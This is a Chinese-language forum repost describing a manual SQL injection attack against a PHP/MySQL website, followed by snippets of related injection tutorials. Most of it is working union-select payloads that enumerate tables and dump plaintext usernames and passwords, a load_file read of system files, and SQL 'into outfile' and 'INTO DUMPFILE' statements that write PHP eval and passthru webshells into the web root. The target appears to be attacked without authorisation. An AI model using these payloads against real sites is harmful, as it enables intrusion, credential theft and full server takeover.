手工注入基本思路

手工注入

说下我的基本思路:
1、目标站点环境为:Windows+Apache+Mysql+PHP
2、存在SQL注入,能否直接写一句话木马
3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell
4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马

不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯。
下面具体来说明下:
1、尝试1=1的情况,正确

  1. http://xxx/xxx.php?id=2900 and 1=1

复制代码

2、尝试1=2的情况,错误,说明这是个整型的注入点

  1. http://xxx/xxx.php?id=2900 and 1=2

复制代码

3、尝试‘1‘=‘1‘的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。

  1. http://xxx/xxx.php?id=2900 and ‘1‘=‘1‘

复制代码

4、order by 15,尝试当前注入语句的表中字段个数为15,错误,说明字段数小于15

  1. http://xxx/xxx.php?id=2900 order by 15

复制代码

5、order by 14,尝试当前注入语句的表中字段个数为14,正确,说明字段数等于14

  1. http://xxx/xxx.php?id=2900 order by 14

复制代码

6、联合查询语句,暴出可显示字段

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14

复制代码

7、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14

复制代码

8、读取windows系统文件boot.ini

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14

复制代码

9、暴出当前库中的所有表名,查了下只有一个account表还比较像存放用户名和口令信息的表

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()

复制代码

10、暴出account表中的所有字段名,看到了username和password,很高兴。

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74

复制代码

11、暴出username和password字段里的内容,都是明文。

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account

复制代码

12、使用得到的用户名口令尝试登录用户页面和后台页面,均失败。

13、发现该网站有phpMyAdmin,phpMyAdmin是个好东西,可以在magic_quotes_gpc=on的情况下写入一句话。不过得先知道mysql数据库连接口令。用穿山甲跑了下注入点,可以读取出mysql的root和其他账号口令,但都是收费的hash。。想想即使拿到口令,没web目录的绝对路径也不能写一句话啊。

14、搜索了一些phpMyAdmin的暴路径的链接,均失败。

  1. /phpmyadmin/libraries/lect_lang.lib.php
  2. /phpmyadmin/themes/darkblue_orange/layout.inc.php

复制代码

15、忽然,rp爆发了一下下,在根目录下随手尝试了个phpinfo,这不绝对路径就出来了d:/wwwroot。

16、读取配置文件d:/wwwroot/sql2004.php

17、登录phpMyAdmin,写入一句话d:/wwwroot/1.php

  1. select ‘<?eval($_POST[cmd]);?>‘ into outfile ‘d:/wwwroot/1.php‘;

复制代码

18、用lanker一句话客户端连接,查看phpinfo,接下来就是上传大马的事了

19、回过头来,在数据库里翻了一番,在数据库名为admin的库中找到了个口令,一下就登录上后台管理页面了。。

注 :原文网址:http://forum.cnsec.org/thread-67707-1-1.html

时间: 2024-12-24 23:39:03

手工注入基本思路的相关文章

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

手工注入

...gong.com/about.asp?dd=613' //出错 再来 ...gong.com/about.asp?dd=613 and 1=1 //正常 ...gong.com/about.asp?dd=613 and 1=2//出错 一个注入点 ...gong.com/about.asp?dd=613 order by 1 //正常 ...gong.com/about.asp?dd=613 order by 19 //正常 ...gong.com/about.asp?dd=613 ord

学习笔记 MSSQL显错手工注入

和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一段内容的返回) 会自动转换int类型 ,肯定会转换失败.然后报错将nvarchar类型(查询一段内容的返回) 的值显示出来. 由这个原理衍生出单字段查询.如下: ' and 0=(SELECT top 1 username FROM table) and 'C'='C 然后有衍生出多字段查询.如下:

sql工具和手工注入总结

普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: 盲注: 基于报错的注入(随笔有总结) 延时注入:利用数据库延时特性,sleep(10),没有报错就说明存在注入 或者尝试cookie注入: cookie注入: 穿山甲(有cookie选项) sqlmap使用:sqlmap.py -u "http:www.xx.com/show.asp" --cookie "id=

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

第一次手工注入

第一次手工注入 第一次注入: 看到他们黑站感觉很有意思的样子,于是我也玩了一下午,虽然都是些狠狠狠简单的东西,不过还是记录下来啦. 虽然和我现在做的没啥关系,不过,,,挺好 浏览器的"工具"--"internet选项"--"高级"--"显示友好http错误信息"(里的勾给去掉哦)注明:就是显示页面出错的信息. 2通过在搜索框中输入inurl:asp?id=    (筛选出url中带有asp?id=   字段的所有结果),然后慢

Mysql数据库的mysql Schema 到底有哪些东西&amp; 手工注入的基础要领

#查看数据库版本 mysql> select @@version; +------------+ | @@version  | +------------+ | 5.5.16-log | +------------+ 1 row in set (0.00 sec) mysql> select * from information_schema.schemata; # 保存了系统的所有的数据库名 ,关键的字段是schema_name # 2 rows in set (0.04 sec)表示只有2

mssql2005存手工注入漏洞附攻击方法- 寒龙网出品

/**/跟空格的作用一样,有的时候可以过一些过滤爆库语句,修改红色部分的数字挨个猜出库 /**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[